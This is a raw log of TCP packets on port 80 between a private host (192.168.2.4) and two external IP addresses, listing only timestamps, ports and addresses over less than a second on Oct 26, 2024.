Oct 26, 2024 05:54:53.382723093 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.382776976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.382805109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.382841110 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.427278996 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.429565907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.429668903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.429697990 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.429728985 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.429749012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.429786921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.429816008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.429848909 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.429925919 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.429925919 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.461159945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.461222887 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.461288929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.461318016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.461488962 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.462275982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.462340117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.462373018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.462389946 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.462433100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.462466955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.462481976 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.462502956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.462536097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.462552071 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.462618113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.462663889 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.462666988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.462718010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.462749958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.462759018 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.462799072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.462838888 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.483597040 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.483819008 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.483825922 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.483876944 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.483880043 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.483911991 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.483927011 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.483946085 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.483963013 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.483980894 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.483992100 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.484014988 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.484028101 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.484050035 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.484061003 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.484097958 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.484101057 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.484137058 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.484152079 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.484188080 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.484189987 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.484235048 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.484241009 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.484273911 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.484291077 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.484309912 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.484318972 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.484339952 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.484352112 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.484383106 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.484396935 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.484431028 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.484443903 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.484464884 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.484478951 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.484499931 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.484513998 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.484553099 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.484559059 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.484586954 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.484596968 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.484622002 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.484632969 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.484663963 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.484694958 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.484752893 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.484754086 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.484788895 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.484802008 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.484834909 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.485023022 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.485052109 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.485074043 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.485090971 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.503911018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.504085064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.504115105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.504326105 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.544028997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.544063091 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.544087887 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.544095039 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.544141054 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.590913057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.590982914 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.591011047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.591023922 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.591062069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.591089964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.591104984 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.591203928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.591231108 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.591247082 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.622405052 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.622477055 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.622725964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.622755051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.622788906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.622805119 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.623368025 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.623395920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.623415947 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.623449087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.623481035 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.623492956 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.623538017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.623579025 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.623589039 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.623621941 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.623656988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.623661995 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.623802900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.623845100 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.623868942 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.623902082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.623943090 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.624008894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.624098063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.624130964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.624142885 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.639906883 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.640037060 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.640228987 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.640259027 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.640283108 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.640305042 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.640310049 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.640352964 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.640361071 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.640391111 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.640414953 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.640424967 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.640439034 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.640486956 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.640506029 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.640536070 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.640557051 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.640568018 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.640577078 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.640605927 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.640614986 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.640645027 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.640659094 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.640697002 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.640707016 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.640726089 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.640746117 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.640758991 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.640764952 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.640794039 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.640808105 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.640824080 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.640841007 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.640856981 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.640868902 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.640897989 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.640908003 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.640934944 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.640942097 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.640969038 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.640981913 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.641015053 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.641091108 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.641140938 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.641141891 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.641175985 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.641185999 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.641221046 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.641258955 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.641292095 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.641309023 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.641324997 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.641340017 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.641367912 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.641557932 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.641608953 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.641609907 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.641639948 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.641657114 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.641683102 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.671875000 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.672003031 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.672125101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.672157049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.672208071 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.708659887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.708709955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.708749056 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.708775997 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.752537966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.752588987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.752615929 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.752626896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.752656937 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.752685070 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.752691984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.752729893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.752736092 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.783873081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.783922911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.783931971 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.783961058 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.784017086 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.784688950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.784744978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.784775019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.784796953 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.784833908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.784881115 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.784890890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.784919024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.784960985 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.785018921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.785048008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.785082102 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.785088062 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.785115957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.785160065 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.785200119 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.785234928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.785274982 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.785408020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.785504103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.785542965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.796771049 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.796880960 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.796910048 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.796945095 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.796979904 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.796998024 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.797008991 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.797061920 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.797095060 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.797148943 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.797183990 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.797187090 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.797187090 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.797187090 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.797187090 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.797187090 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.797213078 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.797218084 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.797218084 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.797261953 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.797281981 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.797322989 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.797365904 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.797395945 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.797411919 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.797441006 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.797446966 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.797488928 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.797497988 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.797533035 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.797549963 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.797575951 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.797585011 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.797620058 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.797626019 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.797650099 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.797661066 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.797692060 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.797700882 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.797729969 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.797754049 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.797768116 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.797823906 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.797852039 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.797867060 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.797890902 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.797990084 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.798023939 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.798038960 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.798059940 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.798062086 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.798095942 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.798100948 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.798136950 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.798198938 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.798248053 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.798280001 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.798314095 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.798326969 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.798358917 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.798401117 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.798434019 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.798449993 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.798466921 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.798471928 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.798510075 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.826489925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.826533079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.826591969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.826621056 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.826670885 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.826873064 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.869708061 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.869749069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.869786024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.869805098 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.911636114 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.913549900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.913609982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.913664103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.913666964 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.913695097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.913727045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.913744926 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.913763046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.913791895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.913817883 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.944920063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.944998980 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.945116997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.945147038 CEST	80	49742	185.215.113.16	192.168.2.4
